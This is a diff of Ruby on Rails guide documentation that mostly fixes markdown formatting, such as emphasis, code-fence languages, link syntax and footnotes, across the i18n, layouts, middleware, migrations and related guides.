WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
|
||||
|
||||
The _setting part_ is easy. You can set the locale in a `before_filter` in the `ApplicationController` like this:
|
||||
|
||||
|
@ -142,7 +142,7 @@ def set_locale
|
|||
end
|
||||
```
|
||||
|
||||
This requires you to pass the locale as a URL query parameter as in `http://example.com/books?locale=pt`. (This is, for example, Google's approach.) So `http://localhost:3000?locale=pt` will load the Portuguese localization, whereas `http://localhost:3000?locale=de` would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page.
|
||||
This requires you to pass the locale as a URL query parameter as in `http://example.com/books?locale=pt`. (This is, for example, Google's approach.) So `http://localhost:3000?locale=pt` will load the Portuguese localization, whereas `http://localhost:3000?locale=de` would load the German localization, and so on. You may skip the next section and head over to the **Internationalize your application** section, if you want to try things out by manually placing the locale in the URL and reloading the page.
|
||||
|
||||
Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual `http://example.com/pt/books` versus `http://example.com/en/books`. Let's discuss the different options you have.
|
||||
|
||||
|
@ -205,9 +205,9 @@ The most usual way of setting (and passing) the locale would be to include it in
|
|||
|
||||
This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
|
||||
|
||||
Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. `link_to( books_url(:locale => I18n.locale))`) would be tedious and probably impossible, of course.
|
||||
Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(:locale => I18n.locale))`) would be tedious and probably impossible, of course.
|
||||
|
||||
Rails contains infrastructure for [centralizing dynamic decisions about the URLs" in its "`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method).
|
||||
Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method).
|
||||
|
||||
We can include something like this in our `ApplicationController` then:
|
||||
|
||||
|
@ -219,11 +219,11 @@ def default_url_options(options={})
|
|||
end
|
||||
```
|
||||
|
||||
Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now *automatically include the locale in the query string*, like this: `http://localhost:3001/?locale=ja`.
|
||||
Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: `http://localhost:3001/?locale=ja`.
|
||||
|
||||
You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
|
||||
|
||||
You probably want URLs to look like this: `www.example.com/en/books` (which loads the English locale) and `www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the [over-riding `default_url_options`" strategy from above: you just have to set up your routes with "`scoping`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html) option in this way:
|
||||
You probably want URLs to look like this: `www.example.com/en/books` (which loads the English locale) and `www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scoping`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html) option in this way:
|
||||
|
||||
```ruby
|
||||
# config/routes.rb
|
||||
|
@ -254,7 +254,7 @@ You would probably need to map URLs like these:
|
|||
match '/:locale' => 'dashboard#index'
|
||||
```
|
||||
|
||||
Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
|
||||
Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
|
||||
|
||||
NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master).
|
||||
|
||||
|
@ -305,14 +305,18 @@ You most probably have something like this in one of your applications:
|
|||
Yourapp::Application.routes.draw do
|
||||
root :to => "home#index"
|
||||
end
|
||||
```
|
||||
|
||||
```ruby
|
||||
# app/controllers/home_controller.rb
|
||||
class HomeController < ApplicationController
|
||||
def index
|
||||
flash[:notice] = "Hello Flash"
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
```html+erb
|
||||
# app/views/home/index.html.erb
|
||||
<h1>Hello World</h1>
|
||||
<p><%= flash[:notice] %></p>
|
||||
|
@ -322,7 +326,7 @@ end
|
|||
|
||||
### Adding Translations
|
||||
|
||||
Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' `#t` helper with a key that makes sense for the translation:
|
||||
Obviously there are **two strings that are localized to English**. In order to internationalize this code, **replace these strings** with calls to Rails' `#t` helper with a key that makes sense for the translation:
|
||||
|
||||
```ruby
|
||||
# app/controllers/home_controller.rb
|
||||
|
@ -331,7 +335,9 @@ class HomeController < ApplicationController
|
|||
flash[:notice] = t(:hello_flash)
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
```html+erb
|
||||
# app/views/home/index.html.erb
|
||||
<h1><%=t :hello_world %></h1>
|
||||
<p><%= flash[:notice] %></p>
|
||||
|
@ -341,7 +347,7 @@ When you now render this view, it will show an error message which tells you tha
|
|||
|
||||
![rails i18n demo translation missing](images/i18n/demo_translation_missing.png)
|
||||
|
||||
NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a `<span class="translation_missing">`.
|
||||
NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a `<span class="translation_missing">`.
|
||||
|
||||
So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
|
||||
|
||||
|
@ -373,10 +379,12 @@ You may use YAML (`.yml`) or plain Ruby (`.rb`) files for storing your translati
|
|||
|
||||
You can use variables in the translation messages and pass their values from the view.
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
# app/views/home/index.html.erb
|
||||
<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %>
|
||||
```
|
||||
|
||||
```yaml
|
||||
# config/locales/en.yml
|
||||
en:
|
||||
greet_username: "%{message}, %{user}!"
|
||||
|
@ -384,9 +392,9 @@ en:
|
|||
|
||||
### Adding Date/Time Formats
|
||||
|
||||
OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option -- by default the `:default` format is used.
|
||||
OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option -- by default the `:default` format is used.
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
# app/views/home/index.html.erb
|
||||
<h1><%=t :hello_world %></h1>
|
||||
<p><%= flash[:notice] %></p
|
||||
|
@ -407,7 +415,7 @@ So that would give you:
|
|||
|
||||
![rails i18n demo localized time to pirate](images/i18n/demo_localized_pirate.png)
|
||||
|
||||
TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails' defaults for your locale*. See the [rails-i18n repository at Github](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use.
|
||||
TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at Github](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use.
|
||||
|
||||
### Inflection Rules For Other Locales
|
||||
|
||||
|
@ -415,7 +423,7 @@ Rails 4.0 allows you to define inflection rules (such as rules for singularizati
|
|||
|
||||
### Localized Views
|
||||
|
||||
Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: *`index.es.html.erb`* in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.)
|
||||
Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.)
|
||||
|
||||
You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
|
||||
|
||||
|
@ -552,15 +560,15 @@ es:
|
|||
title: "Título"
|
||||
```
|
||||
|
||||
you can look up the `books.index.title` value *inside* `app/views/books/index.html.erb` template like this (note the dot):
|
||||
you can look up the `books.index.title` value **inside** `app/views/books/index.html.erb` template like this (note the dot):
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
<%= t '.title' %>
|
||||
```
|
||||
|
||||
### Interpolation
|
||||
|
||||
In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature.
|
||||
In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature.
|
||||
|
||||
All options besides `:default` and `:scope` that are passed to `#translate` will be interpolated to the translation:
|
||||
|
||||
|
@ -629,14 +637,16 @@ I18n.default_locale = :de
|
|||
|
||||
Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
|
||||
|
||||
```ruby
|
||||
```yaml
|
||||
# config/locales/en.yml
|
||||
en:
|
||||
welcome: <b>welcome!</b>
|
||||
hello_html: <b>hello!</b>
|
||||
title:
|
||||
html: <b>title!</b>
|
||||
```
|
||||
|
||||
```html+erb
|
||||
# app/views/home/index.html.erb
|
||||
<div><%= t('welcome') %></div>
|
||||
<div><%= raw t('welcome') %></div>
|
||||
|
@ -649,7 +659,7 @@ en:
|
|||
How to Store your Custom Translations
|
||||
-------------------------------------
|
||||
|
||||
The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
|
||||
The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.^[2](#footnote-2)
|
||||
|
||||
For example a Ruby Hash providing translations can look like this:
|
||||
|
||||
|
@ -850,7 +860,7 @@ Customize your I18n Setup
|
|||
|
||||
### Using Different Backends
|
||||
|
||||
For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
|
||||
For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_^[3](#footnote-3) ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
|
||||
|
||||
That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
|
||||
|
||||
|
@ -960,8 +970,8 @@ If you found this guide useful, please consider recommending its authors on [wor
|
|||
Footnotes
|
||||
---------
|
||||
|
||||
fn1. Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
|
||||
[<a name="footnote-1">1</a>]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
|
||||
|
||||
fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
|
||||
[<a name="footnote-2">2</a>]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
|
||||
|
||||
fn3. One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
|
||||
[<a name="footnote-3">3</a>]: One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
|
||||
|
|
|
@ -16,8 +16,8 @@ server+ to boot your app.
|
|||
|
||||
NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
|
||||
|
||||
TIP: If you want to follow along while browsing the Rails "source
|
||||
code":https://github.com/rails/rails, we recommend that you use the `t`
|
||||
TIP: If you want to follow along while browsing the Rails [source
|
||||
code](https://github.com/rails/rails), we recommend that you use the `t`
|
||||
key binding to open the file finder inside GitHub and find files
|
||||
quickly.
|
||||
|
||||
|
@ -491,7 +491,7 @@ run <%= app_const %>
|
|||
The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:
|
||||
|
||||
```ruby
|
||||
app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app",
|
||||
app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
|
||||
TOPLEVEL_BINDING, config
|
||||
```
|
||||
|
||||
|
|
|
@ -43,7 +43,7 @@ resources :books
|
|||
|
||||
And you have a view file `app/views/books/index.html.erb`:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<h1>Books are coming soon!</h1>
|
||||
```
|
||||
|
||||
|
@ -63,7 +63,7 @@ Note that we don't have explicit render at the end of the index action in accord
|
|||
|
||||
If we want to display the properties of all the books in our view, we can do so with an ERB template like this:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<h1>Listing Books</h1>
|
||||
|
||||
<table>
|
||||
|
@ -496,7 +496,7 @@ def show
|
|||
end
|
||||
```
|
||||
|
||||
Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language.
|
||||
Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language.
|
||||
|
||||
Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors:
|
||||
|
||||
|
@ -601,7 +601,7 @@ head :bad_request
|
|||
|
||||
This would produce the following header:
|
||||
|
||||
```bash
|
||||
```
|
||||
HTTP/1.1 400 Bad Request
|
||||
Connection: close
|
||||
Date: Sun, 24 Jan 2010 12:15:53 GMT
|
||||
|
@ -620,7 +620,7 @@ head :created, :location => photo_path(@photo)
|
|||
|
||||
Which would produce:
|
||||
|
||||
```bash
|
||||
```
|
||||
HTTP/1.1 201 Created
|
||||
Connection: close
|
||||
Date: Sun, 24 Jan 2010 12:16:44 GMT
|
||||
|
@ -652,7 +652,7 @@ Asset tag helpers provide methods for generating HTML that link views to feeds,
|
|||
* `video_tag`
|
||||
* `audio_tag`
|
||||
|
||||
You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout.
|
||||
You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout.
|
||||
|
||||
WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
|
||||
|
||||
|
@ -779,7 +779,7 @@ You can even use dynamic paths such as `cache/#{current_site}/main/display`.
|
|||
|
||||
#### Linking to CSS Files with the `stylesheet_link_tag`
|
||||
|
||||
The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided.
|
||||
The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided.
|
||||
|
||||
If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
|
||||
|
||||
|
@ -842,7 +842,7 @@ You can even use dynamic paths such as `cache/#{current_site}/main/display`.
|
|||
|
||||
#### Linking to Images with the `image_tag`
|
||||
|
||||
The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.
|
||||
The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.
|
||||
|
||||
WARNING: Note that you must specify the extension of the image. Previous versions of Rails would allow you to just use the image name and would append `.png` if no extension was given but Rails 3.0 does not.
|
||||
|
||||
|
@ -885,7 +885,7 @@ In addition to the above special tags, you can supply a final hash of standard H
|
|||
|
||||
#### Linking to Videos with the `video_tag`
|
||||
|
||||
The `video_tag` helper builds an HTML 5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`.
|
||||
The `video_tag` helper builds an HTML 5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`.
|
||||
|
||||
```erb
|
||||
<%= video_tag "movie.ogg" %>
|
||||
|
@ -899,7 +899,7 @@ Produces
|
|||
|
||||
Like an `image_tag` you can supply a path, either absolute, or relative to the `public/videos` directory. Additionally you can specify the `:size => "#{width}x#{height}"` option just like an `image_tag`. Video tags can also have any of the HTML options specified at the end (`id`, `class` et al).
|
||||
|
||||
The video tag also supports all of the `<video>` HTML options through the HTML options hash, including:
|
||||
The video tag also supports all of the `<video>` HTML options through the HTML options hash, including:
|
||||
|
||||
* `:poster => "image_name.png"`, provides an image to put in place of the video before it starts playing.
|
||||
* `:autoplay => true`, starts playing the video on page load.
|
||||
|
@ -921,7 +921,7 @@ This will produce:
|
|||
|
||||
#### Linking to Audio Files with the `audio_tag`
|
||||
|
||||
The `audio_tag` helper builds an HTML 5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`.
|
||||
The `audio_tag` helper builds an HTML 5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`.
|
||||
|
||||
```erb
|
||||
<%= audio_tag "music.mp3" %>
|
||||
|
@ -945,7 +945,7 @@ Like the `video_tag`, the `audio_tag` has special options:
|
|||
|
||||
Within the context of a layout, `yield` identifies a section where content from the view should be inserted. The simplest way to use this is to have a single `yield`, into which the entire contents of the view currently being rendered is inserted:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<html>
|
||||
<head>
|
||||
</head>
|
||||
|
@ -957,7 +957,7 @@ Within the context of a layout, `yield` identifies a section where content from
|
|||
|
||||
You can also create a layout with multiple yielding regions:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<html>
|
||||
<head>
|
||||
<%= yield :head %>
|
||||
|
@ -974,7 +974,7 @@ The main body of the view will always render into the unnamed `yield`. To render
|
|||
|
||||
The `content_for` method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<% content_for :head do %>
|
||||
<title>A simple page</title>
|
||||
<% end %>
|
||||
|
@ -984,7 +984,7 @@ The `content_for` method allows you to insert content into a named `yield` block
|
|||
|
||||
The result of rendering this page into the supplied layout would be this HTML:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<html>
|
||||
<head>
|
||||
<title>A simple page</title>
|
||||
|
@ -1054,7 +1054,7 @@ You can also pass local variables into partials, making them even more powerful
|
|||
|
||||
* `new.html.erb`
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>New zone</h1>
|
||||
<%= error_messages_for :zone %>
|
||||
<%= render :partial => "form", :locals => { :zone => @zone } %>
|
||||
|
@ -1062,7 +1062,7 @@ You can also pass local variables into partials, making them even more powerful
|
|||
|
||||
* `edit.html.erb`
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>Editing zone</h1>
|
||||
<%= error_messages_for :zone %>
|
||||
<%= render :partial => "form", :locals => { :zone => @zone } %>
|
||||
|
@ -1070,7 +1070,7 @@ You can also pass local variables into partials, making them even more powerful
|
|||
|
||||
* `_form.html.erb`
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%= form_for(zone) do |f| %>
|
||||
<p>
|
||||
<b>Zone name</b><br />
|
||||
|
@ -1108,14 +1108,14 @@ Partials are very useful in rendering collections. When you pass a collection to
|
|||
|
||||
* `index.html.erb`
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>Products</h1>
|
||||
<%= render :partial => "product", :collection => @products %>
|
||||
```
|
||||
|
||||
* `_product.html.erb`
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>Product Name: <%= product.name %></p>
|
||||
```
|
||||
|
||||
|
@ -1123,7 +1123,7 @@ When a partial is called with a pluralized collection, then the individual insta
|
|||
|
||||
In Rails 3.0, there is also a shorthand for this. Assuming `@products` is a collection of `product` instances, you can simply write this in the `index.html.erb` to produce the same result:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>Products</h1>
|
||||
<%= render @products %>
|
||||
```
|
||||
|
@ -1132,20 +1132,20 @@ Rails determines the name of the partial to use by looking at the model name in
|
|||
|
||||
* `index.html.erb`
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>Contacts</h1>
|
||||
<%= render [customer1, employee1, customer2, employee2] %>
|
||||
```
|
||||
|
||||
* `customers/_customer.html.erb`
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>Customer: <%= customer.name %></p>
|
||||
```
|
||||
|
||||
* `employees/_employee.html.erb`
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>Employee: <%= employee.name %></p>
|
||||
```
|
||||
|
||||
|
@ -1153,7 +1153,7 @@ In this case, Rails will use the customer or employee partials as appropriate fo
|
|||
|
||||
In the event that the collection is empty, `render` will return nil, so it should be fairly simple to provide alternative content.
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>Products</h1>
|
||||
<%= render(@products) || "There are no products available." %>
|
||||
```
|
||||
|
@ -1207,7 +1207,7 @@ Suppose you have the following `ApplicationController` layout:
|
|||
|
||||
* `app/views/layouts/application.html.erb`
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<html>
|
||||
<head>
|
||||
<title><%= @page_title or "Page Title" %></title>
|
||||
|
@ -1226,7 +1226,7 @@ On pages generated by `NewsController`, you want to hide the top menu and add a
|
|||
|
||||
* `app/views/layouts/news.html.erb`
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<% content_for :stylesheets do %>
|
||||
#top_menu {display: none}
|
||||
#right_menu {float: right; background-color: yellow; color: black}
|
||||
|
|
|
@ -824,9 +824,9 @@ Both migrations work for Alice.
|
|||
|
||||
Bob comes back from vacation and:
|
||||
|
||||
# Updates the source - which contains both migrations and the latest version of
|
||||
* Updates the source - which contains both migrations and the latest version of
|
||||
the Product model.
|
||||
# Runs outstanding migrations with `rake db:migrate`, which
|
||||
* Runs outstanding migrations with `rake db:migrate`, which
|
||||
includes the one that updates the `Product` model.
|
||||
|
||||
The migration crashes because when the model attempts to save, it tries to
|
||||
|
|
|
@ -487,7 +487,7 @@ $ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.8.7/ruby187g
|
|||
##### Configure and Install
|
||||
|
||||
The following will install Ruby in your home directory's `/rubygc` directory.
|
||||
Make sure to replace `<homedir>` with a full patch to your actual home
|
||||
Make sure to replace `<homedir>` with a full patch to your actual home
|
||||
directory.
|
||||
|
||||
```bash
|
||||
|
|
|
@ -191,7 +191,7 @@ end
|
|||
|
||||
When you run `rake`, you should see the following:
|
||||
|
||||
```bash
|
||||
```
|
||||
1) Error:
|
||||
test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
|
||||
NameError: uninitialized constant ActsAsYaffleTest::Hickwall
|
||||
|
@ -266,7 +266,7 @@ ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
|
|||
|
||||
You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `rake`.
|
||||
|
||||
```bash
|
||||
```
|
||||
1) Error:
|
||||
test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
|
||||
NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
|
||||
|
@ -383,7 +383,7 @@ ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
|
|||
|
||||
Run `rake` one final time and you should see:
|
||||
|
||||
```bash
|
||||
```
|
||||
7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
|
||||
```
|
||||
|
||||
|
|
|
@ -59,7 +59,7 @@ gem "nokogiri"
|
|||
|
||||
Please note that this will NOT install the gems for you and you will have to run `bundle install` to do that.
|
||||
|
||||
```ruby
|
||||
```bash
|
||||
bundle install
|
||||
```
|
||||
|
||||
|
@ -204,7 +204,7 @@ These methods let you ask questions from templates and decide the flow based on
|
|||
|
||||
```ruby
|
||||
rake("rails:freeze:gems") if yes?("Freeze rails gems ?")
|
||||
no?(question) acts just the opposite.
|
||||
# no?(question) acts just the opposite.
|
||||
```
|
||||
|
||||
### git(:command)
|
||||
|
|
|
@ -143,7 +143,7 @@ Purpose of each of this middlewares is explained in the [Internal Middlewares](#
|
|||
|
||||
### Configuring Middleware Stack
|
||||
|
||||
Rails provides a simple configuration interface `config.middleware` for adding, removing and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.
|
||||
Rails provides a simple configuration interface `config.middleware` for adding, removing and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.
|
||||
|
||||
#### Adding a Middleware
|
||||
|
||||
|
@ -221,70 +221,92 @@ config.middleware.delete "Rack::MethodOverride"
|
|||
|
||||
Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
|
||||
|
||||
*`ActionDispatch::Static`*
|
||||
**`ActionDispatch::Static`**
|
||||
|
||||
* Used to serve static assets. Disabled if `config.serve_static_assets` is true.
|
||||
|
||||
*`Rack::Lock`*
|
||||
**`Rack::Lock`**
|
||||
|
||||
* Sets `env["rack.multithread"]` flag to `true` and wraps the application within a Mutex.
|
||||
|
||||
*`ActiveSupport::Cache::Strategy::LocalCache::Middleware`*
|
||||
**`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
|
||||
|
||||
* Used for memory caching. This cache is not thread safe.
|
||||
|
||||
*`Rack::Runtime`*
|
||||
**`Rack::Runtime`**
|
||||
|
||||
* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.
|
||||
|
||||
*`Rack::MethodOverride`*
|
||||
**`Rack::MethodOverride`**
|
||||
|
||||
* Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types.
|
||||
|
||||
*`ActionDispatch::RequestId`*
|
||||
**`ActionDispatch::RequestId`**
|
||||
|
||||
* Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method.
|
||||
|
||||
*`Rails::Rack::Logger`*
|
||||
**`Rails::Rack::Logger`**
|
||||
|
||||
* Notifies the logs that the request has began. After request is complete, flushes all the logs.
|
||||
|
||||
*`ActionDispatch::ShowExceptions`*
|
||||
**`ActionDispatch::ShowExceptions`**
|
||||
|
||||
* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.
|
||||
|
||||
*`ActionDispatch::DebugExceptions`*
|
||||
**`ActionDispatch::DebugExceptions`**
|
||||
|
||||
* Responsible for logging exceptions and showing a debugging page in case the request is local.
|
||||
|
||||
*`ActionDispatch::RemoteIp`*
|
||||
**`ActionDispatch::RemoteIp`**
|
||||
|
||||
* Checks for IP spoofing attacks.
|
||||
|
||||
*`ActionDispatch::Reloader`*
|
||||
**`ActionDispatch::Reloader`**
|
||||
|
||||
* Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
|
||||
|
||||
*`ActionDispatch::Callbacks`*
|
||||
**`ActionDispatch::Callbacks`**
|
||||
|
||||
* Runs the prepare callbacks before serving the request.
|
||||
|
||||
*`ActiveRecord::ConnectionAdapters::ConnectionManagement`*
|
||||
**`ActiveRecord::ConnectionAdapters::ConnectionManagement`**
|
||||
|
||||
* Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
|
||||
|
||||
*`ActiveRecord::QueryCache`*
|
||||
**`ActiveRecord::QueryCache`**
|
||||
|
||||
* Enables the Active Record query cache.
|
||||
|
||||
*`ActionDispatch::Cookies`*
|
